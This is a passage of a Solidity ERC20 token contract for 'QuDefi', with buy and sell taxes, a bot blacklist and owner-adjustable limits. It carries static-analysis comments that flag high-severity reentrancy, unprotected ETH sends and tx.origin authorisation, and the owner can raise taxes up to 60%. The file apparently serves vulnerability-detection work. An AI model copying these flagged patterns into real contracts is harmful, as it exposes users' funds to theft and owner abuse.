}\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n internal\n pure\n returns (address recovered, RecoverError err, bytes32 errArg)\n {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 963bc3f\n\t\t\t// reentrancy-eth | ID: ae74a06\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: 963bc3f\n\t\t\t// reentrancy-eth | ID: ae74a06\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: ff7cd23\n\t\t// reentrancy-events | ID: 989b556\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n}\n\ninterface ILpPair {\n function sync() external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract QUDEFI is ERC20, Ownable {\n using Counters for Counters.Counter;\n\n mapping(address => bool) public exemptFromFees;\n\n mapping(address => bool) public exemptFromLimits;\n\n mapping(address => bool) public isAMMPair;\n\n mapping(address => uint256) private _holderLastTransferBlock;\n\n mapping(address => bool) private bots;\n\n address public marketingAddress;\n\n address public devAddress;\n\n address public blacklistOwner;\n\n address public immutable lpPair;\n\n address public immutable WETH;\n\n IDexRouter public immutable dexRouter;\n\n bool public tradingAllowed;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c6d63d): QUDEFI.antiMevEnabled should be constant \n\t// Recommendation for 9c6d63d: Add the 'constant' attribute to state variables that never change.\n bool public antiMevEnabled = false;\n\n bool public limited = true;\n\n bool public transferDelayEnabled = false;\n\n struct TxLimits {\n uint128 transactionLimit;\n uint128 walletLimit;\n }\n\n struct Taxes {\n uint64 marketingTax;\n uint64 devTax;\n uint64 liquidityTax;\n uint64 totalTax;\n }\n\n struct TokensForTax {\n uint80 tokensForMarketing;\n uint80 tokensForLiquidity;\n uint80 tokensForDev;\n bool gasSaver;\n }\n\n TxLimits public txLimits;\n\n Taxes public buyTax;\n\n Taxes public sellTax;\n\n TokensForTax public tokensForTax;\n\n uint64 public constant FEE_DIVISOR = 10000;\n\n uint256 public launchBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 578e09b): QUDEFI.pressCounter should be constant \n\t// Recommendation for 578e09b: Add the 'constant' attribute to state variables that never change.\n uint256 public pressCounter;\n\n uint256 public swapTokensAtAmt;\n\n uint256 public lastSwapBackBlock;\n\n event UpdatedTransactionLimit(uint newMax);\n\n event UpdatedWalletLimit(uint newMax);\n\n event SetExemptFromFees(address _address, bool _isExempt);\n\n event SetExemptFromLimits(address _address, bool _isExempt);\n\n event RemovedLimits();\n\n event BlacklistOwnerRenounced(address previousOwner, address newOwner);\n\n event UpdatedBuyTax(uint newAmt);\n\n event UpdatedSellTax(uint newAmt);\n\n event removeTaxEvent(uint newAmt);\n\n event TokensBurned(address indexed burner, uint256 amount);\n\n address public constant DEAD_ADDRESS =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => Counters.Counter) private nonces;\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 67da194): QUDEFI.constructor()._v2Router is a local variable never initialized\n\t// Recommendation for 67da194: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n constructor() ERC20(\"QuDefi\", \"QUDEFI\") {\n _mint(msg.sender, 100000000 * (10 ** 18));\n\n address _v2Router;\n\n if (block.chainid == 1) {\n _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 5) {\n _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 97) {\n _v2Router = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1;\n } else if (block.chainid == 56) {\n _v2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 42161) {\n _v2Router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;\n } else if (block.chainid == 8453) {\n _v2Router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;\n } else {\n revert(\"Chain not configured\");\n }\n\n dexRouter = IDexRouter(_v2Router);\n\n txLimits.transactionLimit = uint128((totalSupply() * 10) / 1000);\n\n txLimits.walletLimit = uint128((totalSupply() * 10) / 1000);\n\n swapTokensAtAmt = (totalSupply() * 25) / 100000;\n\n marketingAddress = msg.sender;\n\n devAddress = msg.sender;\n\n blacklistOwner = msg.sender;\n\n buyTax.marketingTax = 1300;\n\n buyTax.liquidityTax = 0;\n\n buyTax.devTax = 0;\n\n buyTax.totalTax =\n buyTax.marketingTax +\n buyTax.liquidityTax +\n buyTax.devTax;\n\n sellTax.marketingTax = 2000;\n\n sellTax.liquidityTax = 0;\n\n sellTax.devTax = 0;\n\n sellTax.totalTax =\n sellTax.marketingTax +\n sellTax.liquidityTax +\n sellTax.devTax;\n\n tokensForTax.gasSaver = true;\n\n WETH = dexRouter.WETH();\n\n lpPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n WETH\n );\n\n isAMMPair[lpPair] = true;\n\n exemptFromLimits[lpPair] = true;\n\n exemptFromLimits[msg.sender] = true;\n\n exemptFromLimits[address(this)] = true;\n\n exemptFromFees[msg.sender] = true;\n\n exemptFromFees[address(this)] = true;\n\n exemptFromFees[address(dexRouter)] = true;\n\n _approve(address(this), address(dexRouter), type(uint256).max);\n\n _approve(address(msg.sender), address(dexRouter), totalSupply());\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ff7cd23): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ff7cd23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2306a95): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2306a95: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ae74a06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ae74a06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (!exemptFromFees[from] && !exemptFromFees[to]) {\n require(!bots[from] && !bots[to], \"Bot\");\n\n require(tradingAllowed, \"Trading not active\");\n\n\t\t\t// reentrancy-events | ID: ff7cd23\n\t\t\t// reentrancy-benign | ID: 2306a95\n\t\t\t// reentrancy-eth | ID: ae74a06\n amount -= handleTax(from, to, amount);\n\n\t\t\t// reentrancy-benign | ID: 2306a95\n checkLimits(from, to, amount);\n }\n\n\t\t// reentrancy-events | ID: ff7cd23\n\t\t// reentrancy-eth | ID: ae74a06\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: fd6bbcb): QUDEFI.checkLimits(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferBlock[tx.origin] + 6 < block.number,Transfer Delay)\n\t// Recommendation for fd6bbcb: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: c598f5d): QUDEFI.checkLimits(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == to,no buying to external wallets yet)\n\t// Recommendation for c598f5d: Do not use 'tx.origin' for authorization.\n function checkLimits(address from, address to, uint256 amount) internal {\n if (limited) {\n bool exFromLimitsTo = exemptFromLimits[to];\n\n uint256 balanceOfTo = balanceOf(to);\n\n TxLimits memory _txLimits = txLimits;\n\n if (isAMMPair[from] && !exFromLimitsTo) {\n require(amount <= _txLimits.transactionLimit, \"Max Txn\");\n\n require(\n amount + balanceOfTo <= _txLimits.walletLimit,\n \"Max Wallet\"\n );\n } else if (isAMMPair[to] && !exemptFromLimits[from]) {\n require(amount <= _txLimits.transactionLimit, \"Max Txn\");\n } else if (!exFromLimitsTo) {\n require(\n amount + balanceOfTo <= _txLimits.walletLimit,\n \"Max Wallet\"\n );\n }\n\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t// tx-origin | ID: fd6bbcb\n require(\n _holderLastTransferBlock[tx.origin] + 6 < block.number,\n \"Transfer Delay\"\n );\n\n\t\t\t\t\t// reentrancy-benign | ID: 2306a95\n _holderLastTransferBlock[to] = block.number;\n\n\t\t\t\t\t// reentrancy-benign | ID: 2306a95\n _holderLastTransferBlock[tx.origin] = block.number;\n\n if (from == address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: c598f5d\n require(\n tx.origin == to,\n \"no buying to external wallets yet\"\n );\n }\n }\n }\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 989b556): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 989b556: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fb4c4b5): QUDEFI.handleTax(address,address,uint256) uses a dangerous strict equality launchBlock == block.number + 1 || launchBlock == block.number + 2\n\t// Recommendation for fb4c4b5: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 76267c2): QUDEFI.handleTax(address,address,uint256) uses a dangerous strict equality launchBlock == block.number\n\t// Recommendation for 76267c2: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 963bc3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 963bc3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 7317d7b): QUDEFI.handleTax(address,address,uint256).taxes is a local variable never initialized\n\t// Recommendation for 7317d7b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function handleTax(\n address from,\n address to,\n uint256 amount\n ) internal returns (uint256) {\n if (\n balanceOf(address(this)) >= swapTokensAtAmt &&\n !isAMMPair[from] &&\n lastSwapBackBlock + 2 <= block.number\n\t\t\t// reentrancy-events | ID: 989b556\n\t\t\t// reentrancy-eth | ID: 963bc3f\n ) {\n convertTaxes();\n }\n\n uint128 tax = 0;\n\n Taxes memory taxes;\n\n if (isAMMPair[to]) {\n taxes = sellTax;\n } else if (isAMMPair[from]) {\n taxes = buyTax;\n }\n\n if (taxes.totalTax > 0) {\n TokensForTax memory tokensForTaxUpdate = tokensForTax;\n\n\t\t\t// incorrect-equality | ID: 76267c2\n if (launchBlock == block.number) {\n if (isAMMPair[from] || isAMMPair[to]) {\n tax = uint128((amount * 500) / FEE_DIVISOR);\n }\n } else if (\n\t\t\t\t// incorrect-equality | ID: fb4c4b5\n launchBlock == block.number + 1 ||\n launchBlock == block.number + 2\n ) {\n if (isAMMPair[from] || isAMMPair[to]) {\n tax = uint128((amount * 2000) / FEE_DIVISOR);\n }\n } else {\n tax = uint128((amount * taxes.totalTax) / FEE_DIVISOR);\n }\n\n tokensForTaxUpdate.tokensForLiquidity += uint80(\n (tax * taxes.liquidityTax) / taxes.totalTax / 1e9\n );\n\n tokensForTaxUpdate.tokensForMarketing += uint80(\n (tax * taxes.marketingTax) / taxes.totalTax / 1e9\n );\n\n tokensForTaxUpdate.tokensForDev += uint80(\n (tax * taxes.devTax) / taxes.totalTax / 1e9\n );\n\n\t\t\t// reentrancy-eth | ID: 963bc3f\n tokensForTax = tokensForTaxUpdate;\n\n\t\t\t// reentrancy-events | ID: 989b556\n\t\t\t// reentrancy-eth | ID: 963bc3f\n super._transfer(from, address(this), tax);\n }\n\n return tax;\n }\n\n function swapTokensForETH(uint256 tokenAmt) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: ff7cd23\n\t\t// reentrancy-events | ID: 989b556\n\t\t// reentrancy-events | ID: 6a4b687\n\t\t// reentrancy-benign | ID: 2306a95\n\t\t// reentrancy-benign | ID: 818732a\n\t\t// reentrancy-eth | ID: cb65f5e\n\t\t// reentrancy-eth | ID: 963bc3f\n\t\t// reentrancy-eth | ID: ae74a06\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmt,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 818732a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 818732a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cb65f5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cb65f5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 81f28a7): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for 81f28a7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function convertTaxes() private {\n uint256 contractBalance = balanceOf(address(this));\n\n TokensForTax memory tokensForTaxMem = tokensForTax;\n\n uint256 totalTokensToSwap = tokensForTaxMem.tokensForLiquidity +\n tokensForTaxMem.tokensForMarketing +\n tokensForTaxMem.tokensForDev;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmt * 10) {\n contractBalance = swapTokensAtAmt * 10;\n }\n\n if (tokensForTaxMem.tokensForLiquidity > 0) {\n uint256 liquidityTokens = (contractBalance *\n tokensForTaxMem.tokensForLiquidity) / totalTokensToSwap;\n\n super._transfer(address(this), lpPair, liquidityTokens);\n\n\t\t\t// reentrancy-events | ID: ff7cd23\n\t\t\t// reentrancy-events | ID: 989b556\n\t\t\t// reentrancy-events | ID: 6a4b687\n\t\t\t// reentrancy-benign | ID: 2306a95\n\t\t\t// reentrancy-benign | ID: 818732a\n\t\t\t// reentrancy-eth | ID: cb65f5e\n\t\t\t// reentrancy-eth | ID: 963bc3f\n\t\t\t// reentrancy-eth | ID: ae74a06\n try ILpPair(lpPair).sync() {} catch {}\n\n contractBalance -= liquidityTokens;\n\n totalTokensToSwap -= tokensForTaxMem.tokensForLiquidity;\n }\n\n if (contractBalance > 0) {\n\t\t\t// reentrancy-benign | ID: 818732a\n\t\t\t// reentrancy-eth | ID: cb65f5e\n swapTokensForETH(contractBalance);\n\n uint256 ethBalance = address(this).balance;\n\n bool success;\n\n if (tokensForTaxMem.tokensForDev > 0) {\n\t\t\t\t// reentrancy-events | ID: ff7cd23\n\t\t\t\t// reentrancy-events | ID: 989b556\n\t\t\t\t// reentrancy-events | ID: 6a4b687\n\t\t\t\t// reentrancy-benign | ID: 2306a95\n\t\t\t\t// reentrancy-benign | ID: 818732a\n\t\t\t\t// reentrancy-eth | ID: cb65f5e\n\t\t\t\t// reentrancy-eth | ID: 963bc3f\n\t\t\t\t// reentrancy-eth | ID: ae74a06\n\t\t\t\t// arbitrary-send-eth | ID: 81f28a7\n (success, ) = devAddress.call{\n value: (ethBalance * tokensForTaxMem.tokensForDev) /\n totalTokensToSwap\n }(\"\");\n }\n\n ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: ff7cd23\n\t\t\t\t// reentrancy-events | ID: 989b556\n\t\t\t\t// reentrancy-events | ID: 6a4b687\n\t\t\t\t// reentrancy-benign | ID: 2306a95\n\t\t\t\t// reentrancy-benign | ID: 818732a\n\t\t\t\t// reentrancy-eth | ID: cb65f5e\n\t\t\t\t// reentrancy-eth | ID: 963bc3f\n\t\t\t\t// reentrancy-eth | ID: ae74a06\n\t\t\t\t// arbitrary-send-eth | ID: 81f28a7\n (success, ) = marketingAddress.call{value: ethBalance}(\"\");\n }\n }\n\n tokensForTaxMem.tokensForLiquidity = 0;\n\n tokensForTaxMem.tokensForMarketing = 0;\n\n tokensForTaxMem.tokensForDev = 0;\n\n\t\t// reentrancy-eth | ID: cb65f5e\n tokensForTax = tokensForTaxMem;\n\n\t\t// reentrancy-benign | ID: 818732a\n lastSwapBackBlock = block.number;\n }\n\n function setExemptFromFee(\n address _address,\n bool _isExempt\n ) external onlyOwner {\n require(_address != address(0), \"Zero Address\");\n\n require(_address != address(this), \"Cannot unexempt contract\");\n\n exemptFromFees[_address] = _isExempt;\n\n emit SetExemptFromFees(_address, _isExempt);\n }\n\n function setExemptFromLimit(\n address _address,\n bool _isExempt\n ) external onlyOwner {\n require(_address != address(0), \"Zero Address\");\n\n if (!_isExempt) {\n require(_address != lpPair, \"Cannot remove pair\");\n }\n\n exemptFromLimits[_address] = _isExempt;\n\n emit SetExemptFromLimits(_address, _isExempt);\n }\n\n function updateTransactionLimit(uint128 newNumInTokens) external onlyOwner {\n require(\n newNumInTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n\n txLimits.transactionLimit = uint128(\n newNumInTokens * (10 ** decimals())\n );\n\n emit UpdatedTransactionLimit(txLimits.transactionLimit);\n }\n\n function updateWalletLimit(uint128 newNumInTokens) external onlyOwner {\n require(\n newNumInTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n\n txLimits.walletLimit = uint128(newNumInTokens * (10 ** decimals()));\n\n emit UpdatedWalletLimit(txLimits.walletLimit);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4559ad8): QUDEFI.updateSwapTokensAmt(uint256) should emit an event for swapTokensAtAmt = newAmount \n\t// Recommendation for 4559ad8: Emit an event for critical parameter changes.\n function updateSwapTokensAmt(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 4559ad8\n swapTokensAtAmt = newAmount;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 6bfa23a): QUDEFI.updateBuyTax(uint64,uint64,uint64).taxes is a local variable never initialized\n\t// Recommendation for 6bfa23a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function updateBuyTax(\n uint64 _marketingTax,\n uint64 _liquidityTax,\n uint64 _devTax\n ) external onlyOwner {\n Taxes memory taxes;\n\n taxes.marketingTax = _marketingTax;\n\n taxes.liquidityTax = _liquidityTax;\n\n taxes.devTax = _devTax;\n\n taxes.totalTax = _marketingTax + _liquidityTax + _devTax;\n\n require(\n taxes.totalTax <= 6000 || taxes.totalTax <= buyTax.totalTax,\n \"Keep tax below 60%\"\n );\n\n emit UpdatedBuyTax(taxes.totalTax);\n\n 